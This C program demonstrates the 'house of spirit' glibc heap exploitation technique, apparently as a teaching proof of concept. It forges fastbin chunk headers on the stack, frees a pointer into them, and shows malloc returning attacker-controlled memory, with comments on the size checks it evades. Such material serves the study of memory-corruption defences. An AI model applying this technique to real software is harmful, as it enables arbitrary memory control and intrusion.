house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

	fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

	fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
	fake_chunks[9] = 0x1234; // nextsize

	fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	fprintf(stderr, "Freeing the overwritten pointer.\n");
	free(a);

	fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}